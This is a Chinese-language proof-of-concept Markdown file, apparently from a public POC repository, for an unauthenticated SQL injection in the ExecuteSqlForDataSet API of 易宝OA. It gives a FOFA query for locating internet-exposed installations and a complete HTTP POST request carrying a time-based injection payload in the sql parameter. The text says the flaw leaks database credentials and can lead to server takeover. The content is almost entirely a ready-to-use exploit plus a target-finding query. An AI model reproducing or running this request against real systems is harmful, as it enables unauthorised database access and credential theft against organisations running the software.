POC/wpoc/易宝OA/易宝OA-ExecuteSqlForDataSet接口处存在SQL注入漏洞.md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

23 lines
766 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 易宝OA-ExecuteSqlForDataSet接口处存在SQL注入漏洞
易宝OA ExecuteSqlForDataSet接口处存在SQL注入漏洞未经身份认证的攻击者可以通过此漏洞获取数据库敏感信息用户名密码等凭据进一步利用可获取服务器权限。
## FOFA
```javascript
product="顶讯科技-易宝OA系统"
```
## poc
```javascript
POST /api/system/ExecuteSqlForDataSet HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
token=zxh&sql=;WAITFOR DELAY '0:0:5'--&strParameters
```
![image-20241024211640781](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202410251419350.png)